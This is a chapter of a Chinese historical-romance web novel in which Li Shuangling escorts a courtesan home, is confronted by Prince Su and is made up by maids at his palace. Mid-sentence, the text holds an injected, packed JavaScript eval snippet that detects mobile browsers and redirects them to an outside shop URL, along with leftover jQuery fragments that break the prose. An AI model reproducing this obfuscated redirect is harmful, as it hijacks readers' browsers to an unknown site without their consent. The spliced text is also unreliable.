马背上,李双凌将那女子挟在身前,马行如风,便有脂粉香气席卷而来,仿若夏日花朵盛放在火焰中,香到有些打鼻子。李双凌想起方才问她家住在哪里,她却一直犹豫不说,李双凌心中念头一闪,问道:“你是快绿阁的?”
女子不语,眼中却瞬间流露出讶异和惶然,显然是被说中了。
李双凌抿抿唇,风尘女子在外,自然是不愿说出自己身份的,毕竟这世人大多对她们有些偏见,可她却不会对她有什么偏见,只是有些奇怪地问她:“你是快绿阁的姑娘?能自己出来?”
按理来说,这些风尘女子本非自由身,应该是不被允许自由出门活动的。
女子嘴角噙一抹苦涩的笑,道:“既然娘子看出来了,我也就不欺骗娘子……我是快绿阁的眉儿,今日是偷跑出来的,没想到被那伙恶棍缠上了。说出来不怕娘子笑我,那位冯郎也曾是我一位恩客,后来……”
李双凌却无心听她和冯志广的纠纷根由,而是眉头一皱,问:“你偷跑出来,去西郊?”
萝台人口中的西郊,都是群山野林,坟包林立,还有一个专门炼化染疫死者的炼人厂。只有逢两节祭祖时才有人会过去,平日里是人迹罕至的——毕竟,哪个正常人闲来无事找晦气去那种地方?
眉儿张大了嘴,讶异地道:“西郊?我说了我去西郊?”
李双凌皱着眉头看她,“对呀,你刚才自己说的。”
“嗯,有点事……”眉儿垂下眼睫,似乎陷入万千思绪中,一张粉雕玉琢的脸上,浮现出怅然的神色。
她回头时,眉骨与鼻梁之间构成一个绝妙而深邃的角度,夕阳投于她的脸上,形成三角形的漂亮光斑,光线中将她的眼珠染上些橄榄般的颜色,通透如琉璃,莹润如春水。
李双凌看着眉儿泛红的眼圈,忽然发觉自己说错了话,谁都有自己的心事,凭什么与她这个萍水相逢的人说?
她于是抿了抿唇,道:“抱歉……”
“无妨。娘子又不是外人,是我的恩人……”眉儿苦笑了一下,“舍妹急病去世……我这样的人,也只能在无人之处,偷偷去别她一别,也算尽心了……”
她说着又有些哽咽,随即用帕子擦一擦泪,不说话了。李双凌低低叹了一声,也不接话,掉转马头将她送回快绿阁,还未到街角,眉儿便说道:“娘子送到这里即可,前面不是什么好地方,娘子在此处行走,怕会污了清名……”
“怕什么。”李双凌笑笑,还是到了快绿阁门口才驻马将她放下。
眉儿刚要进去,却似想起什么,回身道:“还未问娘子尊姓大名……”
“李双凌,天下无双的双,壮志凌云的凌。”
眉儿眼前一亮,道:“好名字!”
李双凌笑笑,道:“快回去吧,以后千万不要自己去那么远了,注意安全。”
眉儿感激地看着她,低声道:“多谢叮嘱……娘子也要多加小心,我怕姓冯的那班人会报复娘子……”
李双凌一笑点点头,目送眉儿走进快绿阁,夕阳照得她的发色淡淡的褐。
待她身影进入门中看不见,李双凌便也忽然有声音从耳边凉凉响起:“又在逞英雄?”
她转头,看见眼神凉薄如雪的男子,着一身叠锦绣玉的华贵衣袍,生怕别人不知道他肃王的身份。
身边却没有人跟着,既没有笑意微微的黎云深,也没有方才那位孔武有力的“书生”。
李双凌瞥他一眼,却好似没看见他一般,转身要走。
黎琰微笑着跟上,伸臂一揽,几乎将李双凌揽入怀中,李双凌不动声色伸手一拦,无需施力,便将黎琰牢牢阻挡在身后,冷声道:“你跟踪我?”
黎琰勾唇一笑,“普天之下莫非王土,你的一举一动都在我的掌控之中,所以,别想耍花招。”
说着便握住李双凌的手腕,手指状似无意搭上她脉搏,李双凌便感觉丝丝寒气撞入经脉,本来有力的手臂瞬间多了几分酥麻之感。
李双凌一笑道:“在下向来坦荡,不过路见不平拔刀相助,帮一帮殿下的子民,殿下不来感谢我,反倒要恩将仇报么?”
黎琰一双眼眸沉沉,刚要说些什么,忽然注意到眼前女子两颊莹亮,似乎扑了细细的腮红,双唇粉嫩润泽,似乎抹了浅淡的口脂。
是因为今夜要来见他,特意化的妆?
心情突然就变得很好,手指缓缓离开她脉搏的位置,道:“好,很好……你听话就好。”
李双凌抬抬下巴,看着两人紧握的双手,低低道:“怎么,殿下这回也要昭告天下么?”
黎琰挑眉,手上便握得更紧,“有何不可?”
“殿下的爱妾早上新丧,晚上就与我相携同游街上……殿下位高权重,自然不知道人言可畏,可我这小女子,还是怕的。”
“哦,小女子?”黎琰一笑,“路见不平的时候,不说自己是小女子……到我身边,就是小女子了。”
他此刻唇角噙淡淡微笑,不是一贯凉薄讥嘲的笑,却似听见什么令人心情愉悦的事情,风吹来淡淡春意,仿若回到了记忆中的玉京,草长莺飞的二月。
一向争强斗勇的人,在他身边却忽然自称是小女子,他明白她的意思,却也不禁在心中生出几分旖旎的遐想,莫名便有些庆幸,让黎云深留在府内安排晚宴事宜,自己躲了清静,亲自来接她。
想着笑意更浓,全然没注意到路上行人或惊惶或探究的眼神,一个个看着李双凌,眼神逐渐变得同情——
之前肃王府那个小妾,刚嫁进去就得了急病一命呜呼了,这位肃王该不会……
克妻吧?
***
一路来到肃王府,天已擦黑,黎琰一路也未提及今夜的安排,只是一入府便命人将李双凌接入一间静室。
静室内也是粉香萦绕,灯烛通明,一众侍女分立两列静候,见李双凌进来,便都恭敬地问好。
昨日之事她们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918687|213402||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
早就听说了——眼前女子自荐枕席,眨眼间便爬上了殿下的床……
殿下虽未碰过出连娘子,对其却也十分敬重,府内从无人敢忤逆出连娘子,而眼前这手段了得的李娘子,她们自然要比对出连娘子还要恭敬百倍。
李双凌却不知她们内心所想,只道这肃王府规矩比辽国府严格百倍,她在家里本来也不是需要奴仆前呼后拥地侍候的,伶仃有这么多侍女,她还真有点不自在。
侍女们迎她在镜前,打量镜中女子,身材不似出连娘子那般凹凸有致,皮肤也不似出连娘子那般白皙洁净……
这样的女子,究竟是哪一点吸引了殿下呢?
李双凌感受到她的灼灼目光,奇怪地道:“怎么了?我脸上有东西?”
侍女连忙摆手,道:“没有,没有。”
说着,便低头装作很忙的样子,拾掇起妆匣内各色钗环螺钿,好在李双凌并不似出连明珠一般脾气大,只是坐在原地安静地等待,似乎什么都没有做什么都没有想,目光却凝而坚定。侍女看着镜中的她,分明不是艳丽的美,略显平淡的眉目,眼波流转之间,却显出几分张扬而明艳的风致。这样的人,戴上珍珠的首饰,应当很衬她的气质吧?
李双凌看着那些海珠,看得出来,品相很好,想必都来自西海。
心中不免想起西海那些案子,她伸手按下那珍珠首饰,道:“不必,只用我头上的簪子就好。”
“可是……殿下特意叮嘱,要给娘子用名贵些的首饰……”
“这也很名贵啊。”李双凌淡淡道。
是奶娘从娘家带来,一把形仿破影刺的剑簪,在奶娘年轻的时候,那个年代的北析妇女中很流行。
梳妆许久,李双凌的耐心几乎要磨尽的关头,侍女终于放开了她。
李双凌看着镜中粉面桃腮的清丽女子,再加上这身华贵却沉重的衣饰,隆重的妆扮将自己的风格渐渐掩去,几乎已经看不出自己本来的模样。
略带不快地问那些侍女:“一定要这样打扮么?”
“殿下特意叮嘱,要给娘子打扮得华丽些……”
李双凌抿抿唇,道:“那,他有没有叮嘱今晚上是什么要紧事,要这样打扮?”
侍女们互视一眼,都摇摇头:“没有。”
李双凌心里暗叹一声,黎琰什么无关紧要的事都叮嘱了,怎么偏偏这么重要的事没叮嘱?
不知道今夜要做什么,她该怎么提前做好心理准备呢?
她站在穿衣镜前,心想也许是个宴会什么的,所以才这样隆重。
她被关在静室内等候肃王的宣召,坐在室内却只是气闷,跟侍女们说了一声便走到室外,院内无人看守,她便逐渐走入一片花园之中,花园中假山林立小径幽深,她往深处看看,什么也看不清,便收住脚步,准备回去。
走了几步,却忽然意识到什么,顿住脚步,缓缓回头。
在她身后的山石上,坐着一团黑影。